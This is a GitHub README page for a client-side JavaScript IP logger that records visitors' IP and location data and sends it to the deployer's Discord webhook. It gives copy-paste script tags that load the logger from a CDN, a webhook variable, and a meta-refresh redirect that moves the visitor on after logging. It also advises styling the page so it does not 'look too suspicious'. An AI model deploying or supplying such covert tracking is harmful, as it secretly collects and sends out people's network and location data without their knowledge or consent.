luisoos / logger

Client side JavaScript IP Logger, sending logged data to your Discord Webhook! πŸ‘€

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

IP Data to Discord Webhook

With this JavaScript program you can log the IP of someone visiting your website and send IP information to your Discord Webhook.

πŸ‘€ Preview

Example image.

The country flag changes to the country where the IP is located!

🎬 Usage

Method 1 (CDN):

Just copy this into your website and change the redirect and webhook URL:

<!-- Copy this into the <head> -->
<meta http-equiv="refresh" content="3;url=MAINPAGE.html" /> 

...

<!-- Copy this into the end of <body> -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script> 
<script src="https://cdn.jsdelivr.net/gh/luisoos/IP-Log-To-Discord-Webhook/index.js"></script>
<script>var webHookUrl = "YOUR_WEBHOOK_URL_HERE";</script>

Method 2 (Local):

Set up

Copy the project.

Change the variable webHookURL in index.js to your URL.

Redirect

Let a user redirect to another site after the IP was logged.

Just add the following to your <head> in index.html:

<meta http-equiv="refresh" content="3;url=MAINPAGE.html" />

Additional tip

If you want to, you can style the index.html file, so it doesn't look too suspicious.

πŸ“‘ Annotations

License

This project is licensed under the MIT License.

Discord Mobile Preview

About

Client side JavaScript IP Logger, sending logged data to your Discord Webhook! πŸ‘€

License:MIT License


Languages

Language:JavaScript 75.7%Language:HTML 24.3%